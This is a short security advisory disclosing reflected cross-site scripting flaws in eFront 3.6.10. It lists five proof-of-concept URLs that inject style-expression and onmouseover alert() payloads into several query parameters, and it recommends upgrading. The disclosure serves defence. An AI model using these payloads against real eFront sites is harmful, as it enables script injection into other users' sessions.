Name : XSS Vulnerabilities in eFront Software : eFront 3.6.10 build 11944 and possibly below. Vendor Homepage : http://efrontlearning.net/ Vulnerability Type : Cross-Site Scripting Severity : High Researcher : Canberk Bolat Advisory Reference : NS-11-007
eFront is a modern learning system, bundled with key enterprise functionality ranging from skill-gap analysis and branch management to tailor-made reports. We have worked with hundreds of organizations to shape a product that is easy-to-use, feature rich and especially suited for medium enterprises.
eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944. Example PoC urls are as follows :
http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22 http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9)) http://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))
You can read the full article about Cross-Site Scripting vulnerabilities from here : http://www.mavitunasecurity.com/crosssite-scripting-xss/
Upgrade to the latest eFront version (3.6.10 build 12151).
It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/.
Vendor Url : http://forum.efrontlearning.net/viewtopic.php?f=15&t=3501 Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/ MSL Advisory Link : http://www.mavitunasecurity.com/XSS-Vulnerability-in-eFront/
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